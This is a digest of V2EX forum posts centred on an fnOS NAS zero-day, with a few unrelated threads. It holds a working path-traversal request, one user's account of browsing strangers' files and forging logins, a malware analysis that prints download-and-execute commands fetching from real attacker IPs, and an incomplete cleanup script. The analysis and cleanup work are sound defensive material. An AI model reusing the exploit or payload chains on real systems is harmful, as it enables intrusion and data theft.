v2ex_hot_2026-02-01

V2EX 热门帖子

1. 飞牛 NAS 的信任危机， 0Day 漏洞导致用户 NAS 及网盘文件全面泄露，官方装死

8 年群晖正版老用户，今年做了个愚蠢的动作，出了用着极其稳定的群晖，换成 8 盘位飞牛，原因是系统开放，飞牛影视体验还不错。

昨天的 飞牛 0Day 事件之后，从各个社区、群获取到的信息看到了以下场面：

官方处理态度

• 官方在极力掩饰，即使大量技术细节已被爆出的情况下，还在装死；
• 漏洞能够追溯到 0.9 ，且飞牛有能力来尽快通知用户的情况下，仍然未关闭 fn connect ，目前根据扫描情况推算，仍有超过 90%的用户停留在 1.1.15 之前的版本，所有数据被看光光；

目前 0Day 导致的问题：

• 公开到外网，能够直接访问的飞牛 NAS ，如果没有更新到最新的 1.1.15 版本，通过路径穿越漏洞可以被入侵者用极低的成本拿到 NAS 中的所有文件；
• 即使没有公开到外网，fn connect 如果开启，依然能够通过官方 fn connect 来实现上面的入侵，隐私全面泄露。我尝试了一些常见的 name ，基本上全部成功看到了 NAS 中的照片、文件，甚至还看到了许多比特币钱包备份和恢复文件；
• 基于上面的漏洞能够获取到用于登陆 cookie 加密计算的私钥，随便让 AI 搞了下，可以搞定模拟登陆，进入到用户 NAS 并进行任意操作。目前看了被种马的都是通过这个路径~
• 大量隐私、配置文件泄露，即使亡羊补牢，仍然会有很多隐患。例如我翻到了一个用户自部署的 Bitwaden 服务端及密码导出文件 json;
• 很多飞牛用户挂载了网盘，通过这个漏洞可以直接访问已挂载的网盘文件~

决定

• 立即断网飞牛，并在以后完全不再尝试。不是不能接受漏洞问题，而是官方态度决定了这个产品的上限。
• 检查与隐私相关的其他服务，如果是来自于非知名厂商的产品，立即开始寻找替代品。
• 告知身边所有还在使用飞牛服务的朋友，立即放弃；

这应该是亲身经历的最大规模的一次普通人信息泄露了。最近几天应该有大量的黑灰产玩家在全网扫描，获取资源了。

这是第一次呼吁大家放弃一个本来我在支持的一个产品。希望未来有个开源的 NAS 替代来满足需要吧~

_{作者: ucaime | 发布时间: 2026-01-31 17:57}

---

2. Antigravity 开始大面积封号了

大家快检查下自己的账号。。。

_{作者: Midnight | 发布时间: 2026-01-31 02:48}

---

3. 飞牛 fnOS 发布重要安全更新通知，并提醒用户更新至 1.1.18 最新版本

通篇文章依旧嘴硬不谈大面积被挂马的问题，用户都被挂完马了，最后只发了个更新补丁出来。

最搞笑的是，如果你的设备已经感染木马，你是无法更新到最新的 1.1.18 版本的。直到这个公告发出，官方甚至都没给出一个像样的查杀补丁或者工具，目前所有操作都需要用户发挥动手能力，自己找木马或者查杀脚本，直接切割所有被挂马用户。

如果真如官方所说的，在过去一周对木马样本进行了深度分析，解决方案在哪里？

_{作者: izToDo | 发布时间: 2026-01-31 21:05}

---

4. 为什么这么多人用飞牛 NAS，有什么优势吗

感觉下面这些就够用了 samba openlist Syncthing 为什么非要用一个国产系统，宝塔面板的福报还历历在目，有什么很明确的优势吗 （叠甲，并非歧视，只是我实在想不到为什么要用，不懂为什么在程序员社区也有这么多讨论的，感觉实际学习成本要大于上面这些）

_{作者: mingde816 | 发布时间: 2026-01-31 18:26}

---

5. 提供一个自己部署的 DOH

国内可直连 https://rvv.amd.pub/ix 套 cf cdn 的是 https://int.amd.pub/ix 上海反代 https://amd.pub/ix 纯粹是出于兴趣弄得，希望不要滥用。可以当作上游。 上游是 controld+cf zero trust+google. controld 开启广告拦截（大概率开，不过不会过于激进）。 后端是基于 rust 写的程序，然后 nginx 反代。

_{作者: BSYCRRFV | 发布时间: 2026-01-31 21:15}

---

6. 飞牛这个漏洞 POC 太容易了啊

打开 FN Connect 随便输入一个 id ，只要撞上了能打开登录页，加上

/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../

直接就到 /了啊

太离谱了

_{作者: Tink | 发布时间: 2026-01-31 15:11}

---

7. 公网使用飞牛 nas 的一些安全使用小提示–感谢飞牛官方团队

首先感谢飞牛官方的技术人员凌晨 2 点还在协助解决安全问题，用爱发电，真的很辛苦！！再次感谢
先说我的 nas 出现的问题：大约一周前不定时爆连接数指向一个 ip ，疑似被黑成肉鸡攻击某个站点
在群里讨论后客服积极的拉了技术群并安排了技术人员分析，由于攻击是随机时间的不好抓取，今晚 9 点正好复现，凌晨 2 点飞牛的技术人员完成了安全问题的解决。
在此也给公网使用飞牛的朋友们一些安全小意见以减少 nas 被入侵的安全风险：
web 不建议直接映射，建议使用 tailscale 等类似的组网隧道，最最安全！
如果一定要公网开放 web ，不建议使用 5666 http 的明文端口，安全人员反馈我收到的就是疑似中间人攻击，问题源自于 5666 的明文 http 注入。
建议使用 5667 的 https 端口，开启 https 强制跳转，同时签名证书来保证安全
ssh 建议是在不调整 nas 时关闭，减少风险
使用强密码，不执行不开源的来源不明的脚本。
再次感谢飞牛官方团队的技术支持，凌晨 2 点技术在线解决问题说实话真的让我很惊讶，再次感谢，也希望我的遭遇可以让其他有相同问题的朋友们可以参考

_{作者: lyz2754509784 | 发布时间: 2026-01-29 18:24}

---

8. 飞牛 OS 疑似 0day 漏洞，许多用户设备遭到攻击，请尽快检查设备或暂停使用

起因：
在近期使用飞牛时，发现会时不时的出现设备卡死、网络报错的情况，因为每天我都会通过飞牛去跑数据同步，所以没有关心这个问题，只以为是数据太多导致 FNOS 出现的什么莫名奇妙 Bug 。

直到本周周五，我又出现了这个问题，于是就想去查询一下是什么起因。
没想到，不查不知道，一查吓一跳，社区中许多人都出现了设备连接数异常、导致断网或无法连接飞牛服务器的情况。

再一搜索，这居然是一个很普遍的问题！社区中有人已经分析出这是一个专门针对 FNOS 的恶意程序，即便我已经开启了 SSL 、2FA ，且密码为非弱密码的情况下，这个恶意程序仍然植入到了我的设备。

根据一些大佬分析，飞牛疑似存在的 0day （路径穿越漏洞）可以在未授权的情况下可以访问整个 NAS 全部文件，包括系统的配置文件，这可能也是导致如上安全措施归零的主因之一。

这种 T0 级别的重大问题居然被官方一句 “别走 http 明文方式访问设备” 一笔带过，没有任何安全预警。像我一样的普通用户如果不是注意到近期的设备异常，甚至根本不知道有这么一回事。

这么大的一个技术团队，在出现这么大的安全事件后没有任何官方公告是什么用意？能不能有一个正面的态度？？？

附一些官方社群的分析：
https://club.fnnas.com/forum.php?mod=viewthread&tid=53230
https://club.fnnas.com/forum.php?mod=viewthread&tid=52580

_{作者: izToDo | 发布时间: 2026-01-30 20:43}

---

9. antigravity 中的模型清单列表都是骗人的， gemini 3 pro 实际是 Gemini 2.0 Flash， claude Opus 4.5 实际是 Claude 3.5 Sonnet

实操：使用 gemini 3 pro(high) 问题：你现在思考用的是哪个模型？ 回答：我现在用于思考和回答您问题的模型是 Google Gemini 2.0 Flash （ Thinking process is powered by Gemini 2.0 Flash ）。

实操：使用 gemini 3 flash 问题：现在是对话模式，你现在思考用的是哪个模型？ 回答：我现在用于思考和回答您问题的模型是 Google Gemini 2.0 Flash （ Thinking process is powered by Gemini 2.0 Flash ）。

实操：使用 claude Opus 4.5(Thinking) 问题：你现在思考用的是哪个模型？ 我现在使用的模型是 Claude 3.5 Sonnet （由 Anthropic 开发）。 刚才您切换了模型设置，因此我从 Gemini 2.0 Pro 切换到了 Claude 3.5 Sonnet 。

太垃圾了，活生生的欺骗，难怪越调 bug 越多。

发现场景，做了一个功能图片识别文字，我让他用 gemini-2.5-flash 模型，它一直反馈 Google Gemini 系列目前的最新 Flash 版本是 2.0 Flash Experimental (gemini-2.0-flash-exp)。我推测您提到的“2.5”可能是指代这个最新的 2.0 版本（目前尚无官方 2.5 发布）。

_{作者: gnash | 发布时间: 2026-01-31 02:44}

---

10. 才发现摩托罗拉的手机这么好用啊。

摩托罗拉真是手机界的一股清流 决定以后都买摩托罗拉了，超级适合喜欢折腾的，BL 锁直接给解锁码 官方还提供刷机救砖工具，什么系统都能装 就算不折腾的，原装的系统也很干净，最重要的 myui 居然什么软件都能直接冻结，都不用自己费劲 root 去卸载。

_{作者: srwle | 发布时间: 2026-01-31 03:50}

---

11. 昨天在 reddit 上发了个开源插件介绍，被骂了。

插件基本是 vibe coding ，包括 github action 等配套，当然发的帖子也是 ai 写的。因为小插件，不浪费 tokens （主要是穷），用了 trae 免费版（此处不是广）。

帖子初期反响还可以，直到收到了一条评论：I can't Read the AI posts anymore it feel so pointless and empty

然后就崩了，他的点赞蹭蹭蹭往上涨，但帖子点赞跌到 0 ，然后帖子被版主删了。

我们有在帖子下讨论，他的观点：

Sadly after reading soo many posts and going though soo many repos of new plug-ins it is tiring. I do software for a living. All theese projects have in common is bad practices, bad maintainability and so much more. If it’s something people need and rely on but for the creator it’s just an afternoon project wich is easily abandoned it leads to bad faith in the software. Maintaining a project is time intensive. If a new version of obsidian breaks the plug-in but the maintainer nolonger does any work it leads to many sad users.

Additionally I have no faith in the software delivered. It could have a major exploit ore be harmful, even if not intentionally. But not be found because the maintainer has no clue how the code actually works.

Good things take time. It takes so much time to test and make sure the program is reliable that I doubt any project I see with is vibe coded.

The AI has glaring flaws if you know the subject you’re using it for. But if you’re not knowledgeable it all looks correct but really is full of half truths.

大致意思就是 ai 写的代码粗制滥造，并且容易弃更、以及未知的漏洞。最后说的行内人一看就知道是 ai 写的，外行人就半信半疑（我也是靠翻译的，不确定是不是这个意思）。

我给他回的观点：

AI 是工具，消除了阶级，不对等的问题，以至于普通人也能制作自己的工具，减少了时间和成本，而且对于普通软件来讲，够用了就行。至于担心维护问题，这个插件本来就是开源的，克隆下来在自己 ai 修改下就行了呗。当然我也反对在高风险项目中使用没有 reveiw 的代码（至少要加一层保障）。

随后帖子被删了，我没有再回复了。

想问下大家对 ai 写代码是什么看法？为什么感觉有很大一部分人厌恶 vibe coding ？

_{作者: irvinglove | 发布时间: 2026-01-31 14:57}

---

12. 目前最好用的前端 AI 编译工具是哪个呢？

目前只用过 Trae 和 Cursor ，想问下大家对前端 AI 编译工具的看法，和选择！

_{作者: DongDongProMax | 发布时间: 2026-01-31 14:18}

---

13. 重要/漏洞：飞牛 fnOS 疑似遭公网未授权访问/利用后植入后门组件和修复建议汇总

一、重要/漏洞：飞牛 fnOS 疑似遭公网未授权访问/利用后植入后门组件

1.漏洞编号：暂无（官方未公开 / 未分配 CVE ） 重要等级：严重（高危） CVSS 分数：暂无

2.影响范围： fnOS 设备存在公网可达入口（端口映射/反代/直连公网）时风险显著上升；官方建议升级至 1.1.15 并验证关闭公网映射后异常是否停止。 论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象，说明风险不应仅限定为 HTTP 明文通道（可能存在其他公网暴露面、历史入侵残留或服务端漏洞可经 HTTPS 触发）

3.受影响系统： fnOS （版本范围未公开）。官方社区回复称该问题官方已知，建议升级至 1.1.15 ，并在关闭公网端口映射后验证异常上传/连接是否停止。

4.木马行为分析 目前已获取相关木马文件，下为行为分析

4.1 入侵者在通过未公开入口/利用链投放后门下载器后并执行 下载二阶段载荷并执行（观测到的命令链） cd /tmp wget http://20.89.168.131/nginx chmod 777 nginx head -c 16 /dev/urandom >> nginx （向文件追加随机字节，改变哈希，规避基于哈希的检测） ./nginx wget http://20.89.168.131/trim_https_cgi chmod 777 trim_https_cgi head -c 16 /dev/urandom >> trim_https_cgi ./trim_https_cgi 外联与拉取补充组件 HTTP：GET http://151.240.13.91/trim_fnos TCP：连接 45.95.212.102:6608

4.2 后门驻留组件 gots

A1. 写入后门主体与持久化文件 创建/写入：/sbin/gots 创建/写入：/etc/rc.local 、/etc/rc.d/rc.local 创建/写入 systemd 服务（变种服务名）： /etc/systemd/system/x86.service /etc/systemd/system/.service 执行持久化：systemctl enable .service （含重定向到 /dev/null 的静默执行） 自身复制/改名落地： /usr/bin/x86 （样本发生目录重命名/落地） /usr/bin/（样本发生目录重命名/落地）

A2. C2 通信与探测 DNS：解析 aura.kabot.icu -> 45.95.212.102 TCP：连接 45.95.212.102 多端口（观测到：3489 、5098 、6608 、7489 ） 论坛样本显示的附加行为（ strings/排查结论） 干扰系统工具：重命名/替换 cat （出现 mv /usr/bin/cat /usr/bin/cat2 等字符串，导致“cat 丢失”现象） 结束系统进程：pkill -f ‘network_service|resmon_service’ 修改持久化入口：改写 /etc/rc.local 与 /etc/systemd/system/%s.service 并 systemctl enable 外联：包含 45.95.212.102 字符串并进行访问

4.3 组件 trim_https_cgi

清理痕迹
清空多目录日志：/var/log/_、/usr/trim/logs/、/run/log/journal 等 删除审计日志：/var/log/audit/audit.log 及滚动文件 删除/清理安全相关日志：/var/log/secure 、/var/log/messages_、wtmp/btmp/lastlog 等 干扰业务与恢复功能 结束服务：pkill -f backup_service 、pkill -f sysrestore_service 等 二阶段下载执行与启动脚本注入 修改 /usr/trim/bin/system_startup.sh ，追加下载执行链： wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp 端口相关痕迹与疑似隐藏监听（来源于论坛排查） 目标系统存在 0.0.0.0:57132 LISTEN ，ss/netstat 无 PID ，lsof/fuser 无结果 trim_https_cgi 字符串包含 57132 ，并出现 kill -9 $(lsof -t -i:57132) 之类处理逻辑（提示该端口为其链路的一部分）

4.4 内核模块 snd_pcap （论坛排查） /etc/modules 被追加 snd_pcap 模块文件：/lib/modules/6.12.18-trim/snd_pcap.ko 与“57132 监听无 PID/无 lsof 结果”的现象存在关联怀疑（疑似内核层隐藏/驻留能力）

关键落地痕迹 不可变属性（ immutable ，需先 chattr -i 才能删除）： /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi /etc/systemd/system/nginx.service /etc/systemd/system/trim_https_cgi.service /etc/rc.local 伪装/复用：/usr/bin/nginx 与 /usr/sbin/gots md5 相同（同一载荷多名称投放） rc.local 自启：/sbin/gots x86 & systemd 自启（示例）：ExecStart=/usr/bin/nginx x86 （ oneshot + enable ）

可疑网络基础设施（ IOC ） IP：45[.]95[.]212[.]102 （ C2/多端口连接） IP：151[.]240[.]13[.]91 （ HTTP 拉取二阶段：/trim_fnos 、论坛样本） 域名：aura[.]kabot[.]icu （解析到 45[.]95[.]212[.]102 ） 下载源：20[.]89[.]168[.]131 （ HTTP 拉取：/nginx 、/trim_https_cgi ） 归属信息：45[.]95[.]212[.]102 与 151[.]240[.]13[.]91 两个 IP 均归属 AS209554 ISIF OU 提供商网段

4.5 处置建议

1. 关闭公网端口映射/源站直通。
2. 升级 fnOS 至官方建议版本（ 1.1.15 或更高）。
3. 出口防火墙封禁：45.95.212.102 、151.240.13.91 ，同时监控连接数与上传是否回落。
4. 轮换所有管理口令/密钥；检查容器、计划任务、数据盘是否存在触发残留（官方提示“重装后仍可能再次触发”）。

二、建议：请立即停止公网暴露 fnOS Web 管理页面

1. 我们通过联系多位遭遇入侵的用户并分析相关记录发现，本次针对 fnOS 的漏洞利用活动呈现多团伙、多基础设施特征：疑似存在 2–3 个利用团伙，攻击流程较为成熟，并观察到多个 C2 （命令与控制）域名用于回连与任务下发。当前已明确捕捉到 DDoS 攻击指令，被入侵设备存在被纳入僵尸网络风险。

2. 根据网络空间测绘（网站空间）统计，全网可直接访问并暴露 fnOS Web 页面设备约 306,766 台。 注意：该数字来自公开测绘快照，受扫描时间点、动态公网 IP 、端口映射/反代、去重口径等影响，实际暴露规模可能与该值不一致，仅用于风险态势评估。

3. 时间线

3.1 最早入侵记录：约 12 天前（ 1 月 19 日左右）

3.2 用户察觉异常：约 10 天前（ 1 月 21 日左右），主要因设备出现对外异常行为（含对外攻击/连接异常增多）导致网络不稳定而被发现

3.3 1 月 21–22 日期间观测到任务/指令下发行为

3.4 综合判断：攻击者至少利用了约 3–4 天“空窗期” 在用户察觉前完成感染、持久化与回连准备

3.5 官方侧：据反馈，官方约在 1 月 21 日左右因用户集中反映“建立大量连接、网络不稳定”等现象，才进一步定位并确认漏洞风险

1. 强调

4.1 所有用户立刻停止公网暴露 fnOS Web 管理页面。

4.2 这是当前最关键、最有效的止损措施。无论是否升级、是否自查“暂未发现异常”，都不要再让 Web 管理面可被公网直接访问。

4.3 “升级到新版本”并不等于风险解除。 目前无法确认新版本已覆盖全部修复点，仅依赖升级不能作为安全保证；在 Web 仍暴露公网的情况下仍可能被再次利用或二次入侵。

4.4 官方目前未公开可复用、可验证的完整处置方案。

4.5 因此不建议在联网状态下“边运行边清理”。

4.6 不要指望“屏蔽某个 IP / 屏蔽单个 C2 域名”解决问题。 已确认存在多个 C2 域名/基础设施轮换，单点封堵不一定有效，且可能快速失效。

4.7 已捕捉到 DDoS 指令：被控设备可能被用来对外攻击。 这不仅会造成你的网络被打满、设备性能异常、业务不可用，也可能引发运营商封禁。

三、处置

A1. 未发现入侵迹象的用户： 1.立即关闭公网访问，撤销端口映射/公网反代/暴露端口；仅允许内网访问，或使用 VPN/零信任网关进入内网后访问管理面；在网关处限制来源 IP （最小化暴露面）。 2.持续监控

再次强调：未中招用户也不要再暴露 Web 。“没被打到”不代表安全，反而意味着资产仍处于可被扫描与补种的窗口内。

A2.已疑似/确认中招的用户 第一步：立刻断网隔离（物理断网优先）。 不要让设备继续联网回连 C2 ，也不要让其继续执行任务或触发 DDoS 。

第二步：在断网环境下清除与排查（不要边联网边操作）。 中招用户共识建议：离线状态下进行木马清除、检查并处理定时任务/计划任务、启动项、可疑账号与权限、异常容器/进程、异常文件变更等持久化点。

第三步：清理完成前不要恢复联网。 在缺乏完整、可验证的清除方案前，贸然联网可能导致再次回连、二次下发任务或触发破坏行为。

第四步：保留日志与证据。

说明：以上收集自互联网和论坛

_{作者: Hormazed | 发布时间: 2026-01-31 13:38}

---

14. 写了一个 base64 图片预览的 web 工具（纯 HTML，可本地部署）

因为测试 nano banana api 接口需要，所以临时让 gemini 写了一个 base64 图片预览工具，仓库如下：

https://github.com/poixeai/base64-image-viewer

粘贴 Base64 图片字符串，或者 Gemini Nano Banana 的完整 JSON 响应体，直接渲染预览图片。

纯 HTML + CSS + JS ，本地双击打开工具页面就可以用了。

---

顺便感慨一句：AI 时代做这种小工具的成本真的低——“让 AI 写一个”往往比以前去 GitHub / 搜索引擎翻半天更快。

_{作者: LemonLeon | 发布时间: 2026-01-31 13:16}

---

15. 飞牛 0day 后门专杀脚本

TAD6S4N10G 股东群 1 内的大佬 @Lany 写的 更新了 6 个版本，我都测试没问题了。

#!/bin/bash

# ==========================================================
# FnOS 安全应急处置工具（交互式 · v2.1 精准版）
# ==========================================================
# v2.1:
#  - IOC 分级：STRICT / LOOSE ，严格特征才参与删除/修复
#  - system_startup.sh 精准删除恶意行，避免误删正常 wget
#  - 增加 cron 持久化排查
#  - 增加哈希型 systemd 服务名检测
#  - 文件隔离增加命中原因，进程清理更收敛
# ==========================================================

LOG_FILE="/var/log/fnos_security_fix.log"
BACKUP_DIR="/root/fnos_quarantine_$(date +%F_%H%M%S)"

# --- 威胁情报特征库 (IOCs) ---

# 高置信度特征（可用于删除/修复）
STRICT_REGEX="45\.95\.212\.102|151\.240\.13\.91|turmp|gots|trim_https_cgi|snd_pcap|killaurasleep|8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc"

# 宽松特征（用于检测提示，不直接作为删除依据）
LOOSE_REGEX="$STRICT_REGEX|bkd|bkd2|57132"

MALICIOUS_IPS=("45.95.212.102" "151.240.13.91")
MALICIOUS_DOMAINS=("xd.killaurasleep.top")
MALICIOUS_FILES=("bkd" "bkd2" "8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc")

SCAN_DIRS=(
    "/usr/bin"
    "/usr/sbin"
    "/usr/trim"
    "/tmp"
    "/var/tmp"
    "/fnos/usr/trim"
    "/root"
)

# ---------------- 基础函数 ----------------

need_root() {
    if [ "$EUID" -ne 0 ]; then
        echo "❌ 请使用 root 权限运行（ sudo -i ）"
        exit 1
    fi
}

pause() {
    read -rp "👉 按回车继续..."
}

confirm() {
    read -rp "⚠️  $1 (y/N): " ans
    [[ "$ans" =~ ^[yY]$ ]]
}

log_init() {
    exec > >(tee -a "$LOG_FILE") 2>&1
    mkdir -p "$BACKUP_DIR"
    chmod 700 "$BACKUP_DIR"
}

banner() {
    clear
    cat <<'EOF'
====================================================
   FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
====================================================
⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
====================================================
EOF
}

# ---------------- 检测模块 ----------------

path_traversal_check() {
    echo "🔍 [1] 检测路径穿越漏洞..."
    URL="http://127.0.0.1:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd"
    if curl -s --max-time 3 "$URL" | grep -q "root:x:0:0"; then
        echo "❌ [严重] 存在路径穿越漏洞（建议立即升级 FnOS 系统）"
    else
        echo "✅ 未触发路径穿越漏洞"
    fi
}

infection_scan() {
    echo "🔍 [2] 扫描是否已中招（基于最新情报）..."
    local hit=0

    # 1. 检查内核模块
    if lsmod | grep -q snd_pcap; then
        echo "❌ 已加载恶意内核模块: snd_pcap"
        hit=1
    fi

    # 2. 检查恶意进程（基于文件名）
    for proc in "${MALICIOUS_FILES[@]}"; do
        if pgrep -f "$proc" >/dev/null; then
            echo "❌ 发现疑似恶意进程正在运行: $proc"
            hit=1
        fi
    done

    # 3. 检查恶意 Systemd 服务文件内容
    if grep -RqsE "$STRICT_REGEX" /etc/systemd/system/ 2>/dev/null; then
        echo "❌ 在 Systemd 服务文件中发现恶意特征"
        hit=1
    fi

    # 4. 检查哈希型服务名
    for svc in /etc/systemd/system/*.service; do
        [ ! -f "$svc" ] && continue
        base=$(basename "$svc")
        if [[ "$base" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "❌ 发现可疑哈希服务名: $base"
            hit=1
        fi
    done

    # 5. 特征扫描（关键位置，使用 STRICT ）
    if grep -RqsE "$STRICT_REGEX" /fnos/usr/trim /etc/rc.local /etc/ld.so.preload 2>/dev/null; then
        echo "❌ 在系统关键位置发现恶意特征字符串"
        hit=1
    fi

    # 6. cron 持久化检查
    if grep -RqsE "$STRICT_REGEX" /etc/crontab /etc/cron.d 2>/dev/null; then
        echo "❌ 在系统级 cron 中发现恶意特征"
        hit=1
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "❌ 在 root 用户 crontab 中发现恶意特征"
        hit=1
    fi

    if [ "$hit" -eq 0 ]; then
        echo "✅ 未发现明显入侵迹象"
    else
        echo "⚠️  系统疑似已被入侵（建议执行自动修复模式）"
    fi
}

# ---------------- 修复模块 ----------------

block_network() {
    echo "🛑 [3] 阻断恶意通信..."

    # 备份 hosts
    cp /etc/hosts "$BACKUP_DIR/hosts.bak" 2>/dev/null

    # 1. IP 封禁 (NFT / iptables)
    if command -v nft >/dev/null; then
        nft list table inet fnos_guard >/dev/null 2>&1 || nft add table inet fnos_guard
        nft list chain inet fnos_guard output >/dev/null 2>&1 || \
            nft add chain inet fnos_guard output { type filter hook output priority 0 \; }
        for ip in "${MALICIOUS_IPS[@]}"; do
            nft add rule inet fnos_guard output ip daddr "$ip" drop 2>/dev/null
        done
        echo "   - [防火墙] 已封禁恶意 IP (nftables)"
    elif command -v iptables >/dev/null; then
        for ip in "${MALICIOUS_IPS[@]}"; do
            iptables -C OUTPUT -d "$ip" -j DROP 2>/dev/null || \
            iptables -I OUTPUT -d "$ip" -j DROP
        done
        echo "   - [防火墙] 已封禁恶意 IP (iptables)"
    else
        echo "   - 未检测到 nft/iptables ，跳过 IP 封禁"
    fi

    # 2. 域名 Sinkhole (Hosts 劫持)
    for domain in "${MALICIOUS_DOMAINS[@]}"; do
        if ! grep -q "$domain" /etc/hosts; then
            echo "127.0.0.1 $domain" >> /etc/hosts
            echo "   - [Hosts] 已劫持域名: $domain"
        else
            echo "   - [Hosts] 域名已劫持: $domain"
        fi
    done
    echo "✅ 网络阻断策略已应用"
}

kill_process() {
    echo "🔪 [4] 终止恶意进程..."

    # 1. 基于文件名的进程
    for proc in "${MALICIOUS_FILES[@]}"; do
        pids=$(pgrep -f "$proc")
        if [ -n "$pids" ]; then
            echo "   - 正在终止进程: $proc (PID: $pids)"
            kill -9 $pids 2>/dev/null
        fi
    done

    # 2. 更精准：命令行中同时包含关键 IOC 的进程
    pgrep -af "bkd" 2>/dev/null | grep -E "killaurasleep|151\.240\.13\.91" | awk '{print $1}' | xargs -r kill -9 2>/dev/null
    pgrep -af "turmp" 2>/dev/null | awk '{print $1}' | xargs -r kill -9 2>/dev/null

    echo "✅ 进程清理完成"
}

clean_systemd_services() {
    echo "🧹 [5] 清理恶意 Systemd 服务..."

    # 1. 基于内容 IOC 的服务文件
    grep -lE "$STRICT_REGEX" /etc/systemd/system/*.service 2>/dev/null | while read -r service_file; do
        [ -z "$service_file" ] && continue
        service_name=$(basename "$service_file")
        echo "   🚨 发现恶意服务(内容命中): $service_name"

        systemctl stop "$service_name" 2>/dev/null
        systemctl disable "$service_name" 2>/dev/null

        chattr -i "$service_file" 2>/dev/null
        cp "$service_file" "$BACKUP_DIR/"
        rm -f "$service_file"
        echo "   - 已移除并备份服务文件"
    done

    # 2. 基于哈希型服务名的检测
    for service_file in /etc/systemd/system/*.service; do
        [ ! -f "$service_file" ] && continue
        service_name=$(basename "$service_file")
        if [[ "$service_name" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "   🚨 发现可疑哈希服务名: $service_name"
            systemctl stop "$service_name" 2>/dev/null
            systemctl disable "$service_name" 2>/dev/null

            chattr -i "$service_file" 2>/dev/null
            cp "$service_file" "$BACKUP_DIR/"
            rm -f "$service_file"
            echo "   - 已移除并备份哈希服务文件"
        fi
    done

    systemctl daemon-reload
    echo "✅ Systemd 服务清理完成"
}

scan_and_quarantine() {
    echo "🔎 [6] 深度扫描并隔离文件..."

    for dir in "${SCAN_DIRS[@]}"; do
        [ ! -d "$dir" ] && continue
        echo "   正在扫描目录: $dir"

        find "$dir" -maxdepth 3 -type f -executable -mtime -30 2>/dev/null | while read -r f; do
            [ "$f" == "$0" ] && continue

            filename=$(basename "$f")
            match=0
            reason=""

            # 1. 文件名命中恶意列表（高置信度）
            for bad_name in "${MALICIOUS_FILES[@]}"; do
                if [[ "$filename" == "$bad_name" ]]; then
                    match=1
                    reason="name-hit:$bad_name"
                    break
                fi
            done

            # 2. 内容命中严格 IOC （更安全）
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
                    match=1
                    reason="content-hit:STRICT"
                fi
            fi

            # 3. 可选：内容命中组合 IOC （网络 + 域名）
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -q "151\.240\.13\.91" && \
                   strings "$f" 2>/dev/null | grep -q "killaurasleep"; then
                    match=1
                    reason="content-hit:IP+domain"
                fi
            fi

            if [ $match -eq 1 ]; then
                echo "🚨 发现威胁文件: $f  （原因: $reason ）"
                chattr -i "$f" 2>/dev/null
                fuser -k "$f" 2>/dev/null
                mv "$f" "$BACKUP_DIR/$(basename "$f")_$(date +%s).infected"
                echo "   -> 已隔离至备份目录"
            fi
        done
    done
    echo "✅ 文件扫描完成"
}

remove_kernel_module() {
    echo "🧠 [7] 清理恶意内核模块..."
    if lsmod | grep -q snd_pcap; then
        echo "   - 发现 snd_pcap ，尝试卸载..."
        modprobe -r snd_pcap 2>/dev/null || rmmod -f snd_pcap 2>/dev/null
        if lsmod | grep -q snd_pcap; then
             echo "❌ 卸载失败，可能需要重启系统进入恢复模式处理"
        else
             echo "✅ snd_pcap 已卸载"
        fi
    else
        echo "ℹ️ 未发现 snd_pcap 模块"
    fi
}

fix_persistence_common() {
    echo "🔧 [8] 修复通用持久化配置..."

    # 修复 ld.so.preload （仅删除 STRICT 命中的行）
    if [ -f /etc/ld.so.preload ]; then
        if grep -Eq "$STRICT_REGEX" /etc/ld.so.preload; then
            echo "   - 修复 /etc/ld.so.preload"
            chattr -i /etc/ld.so.preload 2>/dev/null
            cp /etc/ld.so.preload "$BACKUP_DIR/ld.so.preload.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/ld.so.preload
            [ ! -s /etc/ld.so.preload ] && rm -f /etc/ld.so.preload
        fi
    fi

    # 修复 rc.local （仅删除 STRICT 命中的行）
    if [ -f /etc/rc.local ]; then
         if grep -Eq "$STRICT_REGEX" /etc/rc.local; then
            echo "   - 修复 /etc/rc.local"
            chattr -i /etc/rc.local 2>/dev/null
            cp /etc/rc.local "$BACKUP_DIR/rc.local.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/rc.local
         fi
    fi

    # 修复 cron （备份后删除 STRICT 命中的行）
    if [ -f /etc/crontab ]; then
        if grep -Eq "$STRICT_REGEX" /etc/crontab; then
            echo "   - 修复 /etc/crontab"
            cp /etc/crontab "$BACKUP_DIR/crontab.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/crontab
        fi
    fi
    if ls /etc/cron.d/* >/dev/null 2>&1; then
        for f in /etc/cron.d/*; do
            [ ! -f "$f" ] && continue
            if grep -Eq "$STRICT_REGEX" "$f"; then
                echo "   - 修复 cron.d: $f"
                cp "$f" "$BACKUP_DIR/$(basename "$f").bak"
                sed -i -E "/$STRICT_REGEX/d" "$f"
            fi
        done
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "   - 修复 root crontab"
        crontab -l > "$BACKUP_DIR/root.crontab.bak"
        crontab -l | sed -E "/$STRICT_REGEX/d" | crontab -
    fi

    echo "✅ 持久化配置检查完成"
}

fix_fnos_system_startup() {
    FILE="/fnos/usr/trim/bin/system_startup.sh"

    echo "🔧 [9] 修复 FnOS 特定启动项..."

    [ ! -f "$FILE" ] && { echo "ℹ️ 未找到 $FILE ，跳过"; return; }

    # 仅用于判断是否疑似被篡改
    if grep -Eq "151\.240\.13\.91|turmp|killaurasleep" "$FILE"; then
